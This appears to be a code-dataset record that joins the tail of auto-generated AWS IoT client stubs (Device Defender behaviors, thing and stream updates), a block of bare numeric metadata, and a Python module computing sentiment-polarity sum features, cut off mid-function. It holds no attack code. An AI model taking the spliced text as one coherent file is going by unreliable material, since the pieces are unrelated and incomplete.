cause an alert. - *(dict) --* A Device Defender security profile behavior. - **name** *(string) --* **[REQUIRED]** The name you have given to the behavior. - **metric** *(string) --* What is measured by the behavior. - **criteria** *(dict) --* The criteria that determine if a device is behaving normally in regard to the ``metric`` . - **comparisonOperator** *(string) --* The operator that relates the thing measured (``metric`` ) to the criteria (containing a ``value`` or ``statisticalThreshold`` ). - **value** *(dict) --* The value to be compared with the ``metric`` . - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **durationSeconds** *(integer) --* Use this to specify the time duration over which the behavior is evaluated, for those criteria which have a time dimension (for example, ``NUM_MESSAGES_SENT`` ). For a ``statisticalThreshhold`` metric comparison, measurements from all devices are accumulated over this time duration before being used to calculate percentiles, and later, measurements from an individual device are also accumulated over this time duration before being given a percentile rank. - **consecutiveDatapointsToAlarm** *(integer) --* If a device is in violation of the behavior for the specified number of consecutive datapoints, an alarm occurs. If not specified, the default is 1. - **consecutiveDatapointsToClear** *(integer) --* If an alarm has occurred and the offending device is no longer in violation of the behavior for the specified number of consecutive datapoints, the alarm is cleared. If not specified, the default is 1. - **statisticalThreshold** *(dict) --* A statistical ranking (percentile) which indicates a threshold value by which a behavior is determined to be in compliance or in violation of the behavior. - **statistic** *(string) --* The percentile which resolves to a threshold value by which compliance with a behavior is determined. Metrics are collected over the specified period (``durationSeconds`` ) from all reporting devices in your account and statistical ranks are calculated. Then, the measurements from a device are collected over the same period. If the accumulated measurements from the device fall above or below (``comparisonOperator`` ) the value associated with the percentile specified, then the device is considered to be in compliance with the behavior, otherwise a violation occurs. :type alertTargets: dict :param alertTargets: Where the alerts are sent. (Alerts are always sent to the console.) - *(string) --* The type of alert target: one of \"SNS\". - *(dict) --* A structure containing the alert target ARN and the role ARN. - **alertTargetArn** *(string) --* **[REQUIRED]** The ARN of the notification target to which alerts are sent. - **roleArn** *(string) --* **[REQUIRED]** The ARN of the role that grants permission to send alerts to the notification target. :type additionalMetricsToRetain: list :param additionalMetricsToRetain: A list of metrics whose data is retained (stored). By default, data is retained for any metric used in the profile\'s ``behaviors`` but it is also retained for any metric specified here. - *(string) --* :type deleteBehaviors: boolean :param deleteBehaviors: If true, delete all ``behaviors`` defined for this security profile. If any ``behaviors`` are defined in the current invocation an exception occurs. :type deleteAlertTargets: boolean :param deleteAlertTargets: If true, delete all ``alertTargets`` defined for this security profile. If any ``alertTargets`` are defined in the current invocation an exception occurs. :type deleteAdditionalMetricsToRetain: boolean :param deleteAdditionalMetricsToRetain: If true, delete all ``additionalMetricsToRetain`` defined for this security profile. If any ``additionalMetricsToRetain`` are defined in the current invocation an exception occurs. :type expectedVersion: integer :param expectedVersion: The expected version of the security profile. A new version is generated whenever the security profile is updated. If you specify a value that is different than the actual version, a ``VersionConflictException`` is thrown. :rtype: dict :returns: """ pass def update_stream(self, streamId: str, description: str = None, files: List = None, roleArn: str = None) -> Dict: """ Updates an existing stream. The stream version will be incremented by one. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateStream>`_ **Request Syntax** :: response = client.update_stream( streamId='string', description='string', files=[ { 'fileId': 123, 's3Location': { 'bucket': 'string', 'key': 'string', 'version': 'string' } }, ], roleArn='string' ) **Response Syntax** :: { 'streamId': 'string', 'streamArn': 'string', 'description': 'string', 'streamVersion': 123 } **Response Structure** - *(dict) --* - **streamId** *(string) --* The stream ID. - **streamArn** *(string) --* The stream ARN. - **description** *(string) --* A description of the stream. - **streamVersion** *(integer) --* The stream version. :type streamId: string :param streamId: **[REQUIRED]** The stream ID. :type description: string :param description: The description of the stream. :type files: list :param files: The files associated with the stream. - *(dict) --* Represents a file to stream. - **fileId** *(integer) --* The file ID. - **s3Location** *(dict) --* The location of the file in S3. - **bucket** *(string) --* The S3 bucket. - **key** *(string) --* The S3 key. - **version** *(string) --* The S3 bucket version. :type roleArn: string :param roleArn: An IAM role that allows the IoT service principal assumes to access your S3 files. :rtype: dict :returns: """ pass def update_thing(self, thingName: str, thingTypeName: str = None, attributePayload: Dict = None, expectedVersion: int = None, removeThingType: bool = None) -> Dict: """ Updates the data for a thing. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateThing>`_ **Request Syntax** :: response = client.update_thing( thingName='string', thingTypeName='string', attributePayload={ 'attributes': { 'string': 'string' }, 'merge': True|False }, expectedVersion=123, removeThingType=True|False ) **Response Syntax** :: {} **Response Structure** - *(dict) --* The output from the UpdateThing operation. :type thingName: string :param thingName: **[REQUIRED]** The name of the thing to update. :type thingTypeName: string :param thingTypeName: The name of the thing type. :type attributePayload: dict :param attributePayload: A list of thing attributes, a JSON string containing name-value pairs. For example: ``{\\"attributes\\":{\\"name1\\":\\"value2\\"}}`` This data is used to add new attributes or update existing attributes. - **attributes** *(dict) --* A JSON string containing up to three key-value pair in JSON format. For example: ``{\\"attributes\\":{\\"string1\\":\\"string2\\"}}`` - *(string) --* - *(string) --* - **merge** *(boolean) --* Specifies whether the list of attributes provided in the ``AttributePayload`` is merged with the attributes stored in the registry, instead of overwriting them. To remove an attribute, call ``UpdateThing`` with an empty attribute value. .. note:: The ``merge`` attribute is only valid when calling ``UpdateThing`` . :type expectedVersion: integer :param expectedVersion: The expected version of the thing record in the registry. If the version of the record in the registry does not match the expected version specified in the request, the ``UpdateThing`` request is rejected with a ``VersionConflictException`` . :type removeThingType: boolean :param removeThingType: Remove a thing type association. If **true** , the association is removed. :rtype: dict :returns: """ pass def update_thing_group(self, thingGroupName: str, thingGroupProperties: Dict, expectedVersion: int = None) -> Dict: """ Update a thing group. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateThingGroup>`_ **Request Syntax** :: response = client.update_thing_group( thingGroupName='string', thingGroupProperties={ 'thingGroupDescription': 'string', 'attributePayload': { 'attributes': { 'string': 'string' }, 'merge': True|False } }, expectedVersion=123 ) **Response Syntax** :: { 'version': 123 } **Response Structure** - *(dict) --* - **version** *(integer) --* The version of the updated thing group. :type thingGroupName: string :param thingGroupName: **[REQUIRED]** The thing group to update. :type thingGroupProperties: dict :param thingGroupProperties: **[REQUIRED]** The thing group properties. - **thingGroupDescription** *(string) --* The thing group description. - **attributePayload** *(dict) --* The thing group attributes in JSON format. - **attributes** *(dict) --* A JSON string containing up to three key-value pair in JSON format. For example: ``{\\"attributes\\":{\\"string1\\":\\"string2\\"}}`` - *(string) --* - *(string) --* - **merge** *(boolean) --* Specifies whether the list of attributes provided in the ``AttributePayload`` is merged with the attributes stored in the registry, instead of overwriting them. To remove an attribute, call ``UpdateThing`` with an empty attribute value. .. note:: The ``merge`` attribute is only valid when calling ``UpdateThing`` . :type expectedVersion: integer :param expectedVersion: The expected version of the thing group. If this does not match the version of the thing group being updated, the update will fail. :rtype: dict :returns: """ pass def update_thing_groups_for_thing(self, thingName: str = None, thingGroupsToAdd: List = None, thingGroupsToRemove: List = None, overrideDynamicGroups: bool = None) -> Dict: """ Updates the groups to which the thing belongs. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/UpdateThingGroupsForThing>`_ **Request Syntax** :: response = client.update_thing_groups_for_thing( thingName='string', thingGroupsToAdd=[ 'string', ], thingGroupsToRemove=[ 'string', ], overrideDynamicGroups=True|False ) **Response Syntax** :: {} **Response Structure** - *(dict) --* :type thingName: string :param thingName: The thing whose group memberships will be updated. :type thingGroupsToAdd: list :param thingGroupsToAdd: The groups to which the thing will be added. - *(string) --* :type thingGroupsToRemove: list :param thingGroupsToRemove: The groups from which the thing will be removed. - *(string) --* :type overrideDynamicGroups: boolean :param overrideDynamicGroups: Override dynamic thing groups with static thing groups when 10-group limit is reached. If a thing belongs to 10 thing groups, and one or more of those groups are dynamic thing groups, adding a thing to a static group removes the thing from the last dynamic group. :rtype: dict :returns: """ pass def validate_security_profile_behaviors(self, behaviors: List) -> Dict: """ Validates a Device Defender security profile behaviors specification. See also: `AWS API Documentation <https://docs.aws.amazon.com/goto/WebAPI/iot-2015-05-28/ValidateSecurityProfileBehaviors>`_ **Request Syntax** :: response = client.validate_security_profile_behaviors( behaviors=[ { 'name': 'string', 'metric': 'string', 'criteria': { 'comparisonOperator': 'less-than'|'less-than-equals'|'greater-than'|'greater-than-equals'|'in-cidr-set'|'not-in-cidr-set'|'in-port-set'|'not-in-port-set', 'value': { 'count': 123, 'cidrs': [ 'string', ], 'ports': [ 123, ] }, 'durationSeconds': 123, 'consecutiveDatapointsToAlarm': 123, 'consecutiveDatapointsToClear': 123, 'statisticalThreshold': { 'statistic': 'string' } } }, ] ) **Response Syntax** :: { 'valid': True|False, 'validationErrors': [ { 'errorMessage': 'string' }, ] } **Response Structure** - *(dict) --* - **valid** *(boolean) --* True if the behaviors were valid. - **validationErrors** *(list) --* The list of any errors found in the behaviors. - *(dict) --* Information about an error found in a behavior specification. - **errorMessage** *(string) --* The description of an error found in the behaviors. :type behaviors: list :param behaviors: **[REQUIRED]** Specifies the behaviors that, when violated by a device (thing), cause an alert. - *(dict) --* A Device Defender security profile behavior. - **name** *(string) --* **[REQUIRED]** The name you have given to the behavior. - **metric** *(string) --* What is measured by the behavior. - **criteria** *(dict) --* The criteria that determine if a device is behaving normally in regard to the ``metric`` . - **comparisonOperator** *(string) --* The operator that relates the thing measured (``metric`` ) to the criteria (containing a ``value`` or ``statisticalThreshold`` ). - **value** *(dict) --* The value to be compared with the ``metric`` . - **count** *(integer) --* If the ``comparisonOperator`` calls for a numeric value, use this to specify that numeric value to be compared with the ``metric`` . - **cidrs** *(list) --* If the ``comparisonOperator`` calls for a set of CIDRs, use this to specify that set to be compared with the ``metric`` . - *(string) --* - **ports** *(list) --* If the ``comparisonOperator`` calls for a set of ports, use this to specify that set to be compared with the ``metric`` . - *(integer) --* - **durationSeconds** *(integer) --* Use this to specify the time duration over which the behavior is evaluated, for those criteria which have a time dimension (for example, ``NUM_MESSAGES_SENT`` ). For a ``statisticalThreshhold`` metric comparison, measurements from all devices are accumulated over this time duration before being used to calculate percentiles, and later, measurements from an individual device are also accumulated over this time duration before being given a percentile rank. - **consecutiveDatapointsToAlarm** *(integer) --* If a device is in violation of the behavior for the specified number of consecutive datapoints, an alarm occurs. If not specified, the default is 1. - **consecutiveDatapointsToClear** *(integer) --* If an alarm has occurred and the offending device is no longer in violation of the behavior for the specified number of consecutive datapoints, the alarm is cleared. If not specified, the default is 1. - **statisticalThreshold** *(dict) --* A statistical ranking (percentile) which indicates a threshold value by which a behavior is determined to be in compliance or in violation of the behavior. - **statistic** *(string) --* The percentile which resolves to a threshold value by which compliance with a behavior is determined. Metrics are collected over the specified period (``durationSeconds`` ) from all reporting devices in your account and statistical ranks are calculated. Then, the measurements from a device are collected over the same period. If the accumulated measurements from the device fall above or below (``comparisonOperator`` ) the value associated with the percentile specified, then the device is considered to be in compliance with the behavior, otherwise a violation occurs. :rtype: dict :returns: """ pass
46.761963
595
0.510317
44,773
496,425
5.631921
0.038193
0.011739
0.009803
0.014705
0.81067
0.766547
0.72752
0.698526
0.672864
0.658567
0
0.009337
0.38791
496,425
10,615
596
46.766368
0.820504
0.817515
0
0.487179
0
0
0
0
0
0
0
0
0
1
0.487179
false
0.487179
0.022792
0
0.512821
0
0
0
0
null
0
0
0
1
1
1
0
0
1
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
7
b813e8b3dc8431a8a65f12c0fdf46a3303762066
22,796
py
Python
pyfuzzy_toolbox/features/sum.py
matheuscas/pyfuzzy_toolbox
57885f3ff53d1b7ab3559c7ff6197ceb97f67c3b
[ "BSD-3-Clause" ]
null
null
null
pyfuzzy_toolbox/features/sum.py
matheuscas/pyfuzzy_toolbox
57885f3ff53d1b7ab3559c7ff6197ceb97f67c3b
[ "BSD-3-Clause" ]
null
null
null
pyfuzzy_toolbox/features/sum.py
matheuscas/pyfuzzy_toolbox
57885f3ff53d1b7ab3559c7ff6197ceb97f67c3b
[ "BSD-3-Clause" ]
null
null
null
from . import pre from . import set_pos_tags_codes from . import set_ngram_polarity_statement from . import ADJS, ADVS, VERBS, ALL, ADJS_AND_ADVS, ADJS_AND_VERBS, ADVS_AND_VERBS,\ ADJS_AND_BI_ADV_ADJ, ADVS_AND_BI_ADV_ADV, VERBS_AND_BI_ADV_VERB, ALL_NON_GENERAL_BIGRAMS """ ------------------------------ Base functions ------------------------------ """ def sum_of_unigrams_scores(bow_sentences, unigram=ADJS, positive=True, ratio=False): pos_tags_codes = set_pos_tags_codes(unigram) polarity_eval_stm = set_ngram_polarity_statement(positive=positive) _sum = 0 doc_word_count = 1 for bs in bow_sentences: for ngram in bs: if pre.is_unigram(ngram) and ngram.pos_tag in pos_tags_codes and eval(polarity_eval_stm): _sum = _sum + ngram.polarity doc_word_count = ngram.doc_word_count return _sum if not ratio else (_sum / float(doc_word_count)) def positive_to_negative_ratio_sum_unigrams_scores(bow_sentences, unigram=ADJS): positive_sum = sum_of_unigrams_scores(bow_sentences, unigram=unigram) negative_sum = sum_of_unigrams_scores( bow_sentences, unigram=unigram, positive=False) return positive_sum + negative_sum def sum_of_bigrams_scores(bow_sentences, bigram_word_1=ADVS, bigram_word_2=ADJS, positive=True, ratio=False): pos_tags_codes_word_1 = set_pos_tags_codes(bigram_word_1) pos_tags_codes_word_2 = set_pos_tags_codes(bigram_word_2) polarity_eval_stm = set_ngram_polarity_statement(positive=positive) _sum = 0 doc_word_count = 1 for bs in bow_sentences: for ngram in bs: if pre.is_bigram(ngram) and \ (ngram.word_1.pos_tag in pos_tags_codes_word_1) and \ (ngram.word_2.pos_tag in pos_tags_codes_word_2) and \ eval(polarity_eval_stm): _sum = _sum + ngram.polarity doc_word_count = ngram.word_2.doc_word_count return _sum if not ratio else (_sum / float(doc_word_count)) def sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=ADJS, bigram_word_1=ADVS, bigram_word_2=ADJS, positive=True, ratio=False): unigrams_sum = sum_of_unigrams_scores( bow_sentences, unigram=unigram, positive=positive, ratio=ratio) bigrams_sum = sum_of_bigrams_scores( bow_sentences, bigram_word_1=bigram_word_1, bigram_word_2=bigram_word_2, positive=positive, ratio=ratio) return unigrams_sum + bigrams_sum def positive_to_negative_ratio_sum_unigrams_and_bigrams_scores(bow_sentences, unigram=ADJS, bigram_word_1=ADVS, bigram_word_2=ADJS): positive_unigrams_and_bigrams_sum = sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=unigram, bigram_word_1=bigram_word_1, bigram_word_2=bigram_word_2) negative_unigrams_and_bigrams_sum = sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=unigram, bigram_word_1=bigram_word_1, bigram_word_2=bigram_word_2, positive=False) return positive_unigrams_and_bigrams_sum + negative_unigrams_and_bigrams_sum # UNTESTED def sum_of_trigrams_scores(bow_sentences, bigram_word_1=ADVS, bigram_word_2=ADVS, bigram_word_3=ADJS, positive=True, ratio=False): pos_tags_codes_word_1 = set_pos_tags_codes(bigram_word_1) pos_tags_codes_word_2 = set_pos_tags_codes(bigram_word_2) pos_tags_codes_word_3 = set_pos_tags_codes(bigram_word_3) polarity_eval_stm = set_ngram_polarity_statement(positive=positive) _sum = 0 doc_word_count = 1 for bs in bow_sentences: for ngram in bs: if pre.is_trigram(ngram) and \ (ngram.word_1.pos_tag in pos_tags_codes_word_1) and \ (ngram.word_2.pos_tag in pos_tags_codes_word_2) and \ (ngram.word_3.pos_tag in pos_tags_codes_word_3) and \ eval(polarity_eval_stm): _sum = _sum + ngram.polarity doc_word_count = ngram.word_3.doc_word_count return _sum if not ratio else (_sum / float(doc_word_count)) """ ------------------------------ Features functions ------------------------------ """ def positive_adjectives_sum(bow_sentences): return {'value': sum_of_unigrams_scores(bow_sentences), 'name': 'positive_adjectives_sum'} def negative_adjectives_sum(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=ADJS, positive=False), 'name': 'negative_adjectives_sum'} def positive_adverbs_sum(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=ADVS, positive=True), 'name': 'positive_adverbs_sum'} def negative_adverbs_sum(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=ADVS, positive=False), 'name': 'negative_adverbs_sum'} def positive_verbs_sum(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=VERBS, positive=True), 'name': 'positive_verbs_sum'} def negative_verbs_sum(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=VERBS, positive=False), 'name': 'negative_verbs_sum'} def sum_ratio_of_positive_adjectives(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, ratio=True), 'name': 'sum_ratio_of_positive_adjectives'} def sum_ratio_of_positive_adverbs(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=ADVS, ratio=True), 'name': 'sum_ratio_of_positive_adverbs'} def sum_ratio_of_positive_verbs(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=VERBS, ratio=True), 'name': 'sum_ratio_of_positive_verbs'} def sum_ratio_of_negative_adjectives(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, ratio=True, positive=False), 'name': 'sum_ratio_of_negative_adjectives'} def sum_ratio_of_negative_adverbs(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=ADVS, ratio=True, positive=False), 'name': 'sum_ratio_of_negative_adverbs'} def sum_ratio_of_negative_verbs(bow_sentences): return {'value': sum_of_unigrams_scores( bow_sentences, unigram=VERBS, ratio=True, positive=False), 'name': 'sum_ratio_of_negative_verbs'} def positive_to_negative_ratio_of_adjectives_sum(bow_sentences): return {'value': positive_to_negative_ratio_sum_unigrams_scores( bow_sentences, unigram=ADJS), 'name': 'positive_to_negative_ratio_of_adjectives_sum'} def positive_to_negative_ratio_of_adverbs_sum(bow_sentences): return {'value': positive_to_negative_ratio_sum_unigrams_scores( bow_sentences, unigram=ADVS), 'name': 'positive_to_negative_ratio_of_adverbs_sum'} def positive_to_negative_ratio_of_verbs_sum(bow_sentences): return {'value': positive_to_negative_ratio_sum_unigrams_scores( bow_sentences, unigram=VERBS), 'name': 'positive_to_negative_ratio_of_verbs_sum'} def positive_adjectives_sum_and_bigrams_with_adjectives(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=ADJS, bigram_word_1=ADVS, bigram_word_2=ADJS, positive=True), 'name': 'positive_adjectives_sum_and_bigrams_with_adjectives'} def negative_adjectives_sum_and_bigrams_with_adjectives(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=ADJS, bigram_word_1=ADVS, bigram_word_2=ADJS, positive=False), 'name': 'negative_adjectives_sum_and_bigrams_with_adjectives'} def positive_adverbs_sum_and_bigrams_with_adverbs(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=ADVS, bigram_word_1=ADVS, bigram_word_2=ADVS, positive=True), 'name': 'positive_adverbs_sum_and_bigrams_with_adverbs'} def negative_adverbs_sum_and_bigrams_with_adverbs(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=ADVS, bigram_word_1=ADVS, bigram_word_2=ADVS, positive=False), 'name': 'negative_adverbs_sum_and_bigrams_with_adverbs'} def positive_verbs_sum_and_bigrams_with_verbs(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=VERBS, bigram_word_1=ADVS, bigram_word_2=VERBS, positive=True), 'name': 'positive_verbs_sum_and_bigrams_with_verbs'} def negative_verbs_sum_and_bigrams_with_verbs(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=VERBS, bigram_word_1=ADVS, bigram_word_2=VERBS, positive=False), 'name': 'negative_verbs_sum_and_bigrams_with_verbs'} def positive_unigrams_and_bigrams_sum(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=ALL, bigram_word_1=ALL, bigram_word_2=ALL, positive=True), 'name': 'positive_unigrams_and_bigrams_sum'} def negative_unigrams_and_bigrams_sum(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores( bow_sentences, unigram=ALL, bigram_word_1=ALL, bigram_word_2=ALL, positive=False), 'name': 'negative_unigrams_and_bigrams_sum'} def positive_unigrams_bigrams_and_trigrams_sum(bow_sentences, ratio=False): unigrams_and_bigrams_scores = sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=ALL, bigram_word_1=ALL, bigram_word_2=ALL, positive=True, ratio=ratio) trigram_scores = sum_of_trigrams_scores(bow_sentences, bigram_word_1=ALL, bigram_word_2=ALL, bigram_word_3=ALL, positive=True, ratio=ratio) return {'value': unigrams_and_bigrams_scores + trigram_scores, 'name': 'positive_unigrams_bigrams_and_trigrams_sum'} def negative_unigrams_bigrams_and_trigrams_sum(bow_sentences, ratio=False): unigrams_and_bigrams_scores = sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=ALL, bigram_word_1=ALL, bigram_word_2=ALL, positive=False, ratio=ratio) trigram_scores = sum_of_trigrams_scores(bow_sentences, bigram_word_1=ALL, bigram_word_2=ALL, bigram_word_3=ALL, positive=False, ratio=ratio) return {'value': unigrams_and_bigrams_scores + trigram_scores, 'name': 'negative_unigrams_bigrams_and_trigrams_sum'} def sum_ratio_of_positive_adjectives_and_bigrams_with_adjectives(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores(bow_sentences, ratio=True), 'name': 'sum_ratio_of_positive_adjectives_and_bigrams_with_adjectives'} def sum_ratio_of_negative_adjectives_and_bigrams_with_adjectives(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores(bow_sentences, positive=False, ratio=True), 'name': 'sum_ratio_of_negative_adjectives_and_bigrams_with_adjectives'} def sum_ratio_of_positive_adverbs_and_bigrams_with_adverbs(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=ADVS, bigram_word_1=ADVS, bigram_word_2=ADVS, ratio=True), 'name': 'sum_ratio_of_positive_adverbs_and_bigrams_with_adverbs'} def sum_ratio_of_negative_adverbs_and_bigrams_with_adverbs(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=ADVS, bigram_word_1=ADVS, bigram_word_2=ADVS, positive=False, ratio=True), 'name': 'sum_ratio_of_negative_adverbs_and_bigrams_with_adverbs'} def sum_ratio_of_positive_verbs_and_bigrams_with_verbs(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=VERBS, bigram_word_1=ADVS, bigram_word_2=VERBS, ratio=True), 'name': 'sum_ratio_of_positive_verbs_and_bigrams_with_verbs'} def sum_ratio_of_negative_verbs_and_bigrams_with_verbs(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=VERBS, bigram_word_1=ADVS, bigram_word_2=VERBS, positive=False, ratio=True), 'name': 'sum_ratio_of_negative_verbs_and_bigrams_with_verbs'} def sum_ratio_of_positive_unigrams_and_bigrams(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=ALL, bigram_word_1=ALL, bigram_word_2=ALL, ratio=True), 'name': 'sum_ratio_of_positive_unigrams_and_bigrams'} def sum_ratio_of_negative_unigrams_and_bigrams(bow_sentences): return {'value': sum_of_unigrams_and_bigrams_scores(bow_sentences, unigram=ALL, bigram_word_1=ALL, bigram_word_2=ALL, positive=False, ratio=True), 'name': 'sum_ratio_of_negative_unigrams_and_bigrams'} def sum_ratio_of_positive_unigrams_bigrams_and_trigrams(bow_sentences): return {'value': positive_unigrams_bigrams_and_trigrams_sum(bow_sentences, ratio=True)['value'], 'name': 'sum_ratio_of_positive_unigrams_bigrams_and_trigrams'} def sum_ratio_of_negative_unigrams_bigrams_and_trigrams(bow_sentences): return {'value': negative_unigrams_bigrams_and_trigrams_sum(bow_sentences, ratio=True)['value'], 'name': 'sum_ratio_of_negative_unigrams_bigrams_and_trigrams'} def positive_to_negative_ratio_of_adjectives_sum_and_bigrams_with_adjectives(bow_sentences): return {'value': positive_to_negative_ratio_sum_unigrams_and_bigrams_scores( bow_sentences, unigram=ADJS, bigram_word_1=ADVS, bigram_word_2=ADJS), 'name': 'positive_to_negative_ratio_of_adjectives_sum_and_bigrams_with_adjectives'} def positive_to_negative_ratio_of_adverbs_sum_and_bigrams_with_adverbs(bow_sentences): return {'value': positive_to_negative_ratio_sum_unigrams_and_bigrams_scores( bow_sentences, unigram=ADVS, bigram_word_1=ADVS, bigram_word_2=ADVS), 'name': 'positive_to_negative_ratio_of_adverbs_sum_and_bigrams_with_adverbs'} def positive_to_negative_ratio_of_verbs_sum_and_bigrams_with_verbs(bow_sentences): return {'value': positive_to_negative_ratio_sum_unigrams_and_bigrams_scores( bow_sentences, unigram=VERBS, bigram_word_1=ADVS, bigram_word_2=VERBS), 'name': 'positive_to_negative_ratio_of_verbs_sum_and_bigrams_with_verbs'} def positive_to_negative_ratio_of_unigrams_and_bigrams_sum(bow_sentences): return {'value': positive_to_negative_ratio_sum_unigrams_and_bigrams_scores( bow_sentences, unigram=ALL, bigram_word_1=ALL, bigram_word_2=ALL), 'name': 'positive_to_negative_ratio_of_unigrams_and_bigrams_sum'} def positive_to_negative_ratio_of_unigrams_bigrams_and_trigrams_sum(bow_sentences): positive_to_negative_ratio = (positive_unigrams_bigrams_and_trigrams_sum(bow_sentences)['value'] - negative_unigrams_bigrams_and_trigrams_sum(bow_sentences)['value']) return {'value': positive_to_negative_ratio, 'name': 'positive_to_negative_ratio_of_unigrams_bigrams_and_trigrams_sum'} def all(bow_sentences, unigrams=True, unigrams_ratio=True, unigram_type=ALL, non_general_unigrams_and_bigrams=True, non_general_unigrams_and_bigrams_ratio=True, non_general_bigram_type=ALL_NON_GENERAL_BIGRAMS, general_unigrams_and_bigrams=True, general_unigrams_and_bigrams_ratio=True, unigrams_and_bigrams_trigram=True, unigrams_and_bigrams_trigram_ratio=True): features_list = [] if unigrams: if unigram_type == ADJS: features_list.append(positive_adjectives_sum(bow_sentences)) features_list.append(negative_adjectives_sum(bow_sentences)) elif unigram_type == ADJS_AND_ADVS: features_list.append(positive_adjectives_sum(bow_sentences)) features_list.append(negative_adjectives_sum(bow_sentences)) features_list.append(positive_adverbs_sum(bow_sentences)) features_list.append(negative_adverbs_sum(bow_sentences)) elif unigram_type == ADJS_AND_VERBS: features_list.append(positive_adjectives_sum(bow_sentences)) features_list.append(negative_adjectives_sum(bow_sentences)) features_list.append(positive_verbs_sum(bow_sentences)) features_list.append(negative_verbs_sum(bow_sentences)) elif unigram_type == ADVS_AND_VERBS: features_list.append(positive_adverbs_sum(bow_sentences)) features_list.append(negative_adverbs_sum(bow_sentences)) features_list.append(positive_verbs_sum(bow_sentences)) features_list.append(negative_verbs_sum(bow_sentences)) elif unigram_type == ADVS: features_list.append(positive_adverbs_sum(bow_sentences)) features_list.append(negative_adverbs_sum(bow_sentences)) elif unigram_type == VERBS: features_list.append(positive_verbs_sum(bow_sentences)) features_list.append(negative_verbs_sum(bow_sentences)) else: features_list.append(positive_adjectives_sum(bow_sentences)) features_list.append(negative_adjectives_sum(bow_sentences)) features_list.append(positive_adverbs_sum(bow_sentences)) features_list.append(negative_adverbs_sum(bow_sentences)) features_list.append(positive_verbs_sum(bow_sentences)) features_list.append(negative_verbs_sum(bow_sentences)) if unigrams_ratio: features_list.append( positive_to_negative_ratio_of_adjectives_sum(bow_sentences)) features_list.append( positive_to_negative_ratio_of_adverbs_sum(bow_sentences)) features_list.append( positive_to_negative_ratio_of_verbs_sum(bow_sentences)) features_list.append(sum_ratio_of_positive_adjectives(bow_sentences)) features_list.append(sum_ratio_of_positive_adverbs(bow_sentences)) features_list.append(sum_ratio_of_positive_verbs(bow_sentences)) features_list.append(sum_ratio_of_negative_adjectives(bow_sentences)) features_list.append(sum_ratio_of_negative_adverbs(bow_sentences)) features_list.append(sum_ratio_of_negative_verbs(bow_sentences)) if non_general_unigrams_and_bigrams: if non_general_bigram_type == ADVS_AND_BI_ADV_ADV: features_list.append( positive_adverbs_sum_and_bigrams_with_adverbs(bow_sentences)) features_list.append( negative_adverbs_sum_and_bigrams_with_adverbs(bow_sentences)) elif non_general_bigram_type == VERBS_AND_BI_ADV_VERB: features_list.append( positive_verbs_sum_and_bigrams_with_verbs(bow_sentences)) features_list.append( negative_verbs_sum_and_bigrams_with_verbs(bow_sentences)) elif non_general_bigram_type == ADJS_AND_BI_ADV_ADJ: features_list.append( positive_adjectives_sum_and_bigrams_with_adjectives(bow_sentences)) features_list.append( negative_adjectives_sum_and_bigrams_with_adjectives(bow_sentences)) else: features_list.append( positive_adverbs_sum_and_bigrams_with_adverbs(bow_sentences)) features_list.append( negative_adverbs_sum_and_bigrams_with_adverbs(bow_sentences)) features_list.append( positive_verbs_sum_and_bigrams_with_verbs(bow_sentences)) features_list.append( negative_verbs_sum_and_bigrams_with_verbs(bow_sentences)) features_list.append( positive_adjectives_sum_and_bigrams_with_adjectives(bow_sentences)) features_list.append( negative_adjectives_sum_and_bigrams_with_adjectives(bow_sentences)) if non_general_unigrams_and_bigrams_ratio: features_list.append( positive_to_negative_ratio_of_adjectives_sum_and_bigrams_with_adjectives(bow_sentences)) features_list.append( positive_to_negative_ratio_of_adverbs_sum_and_bigrams_with_adverbs(bow_sentences)) features_list.append( positive_to_negative_ratio_of_verbs_sum_and_bigrams_with_verbs(bow_sentences)) 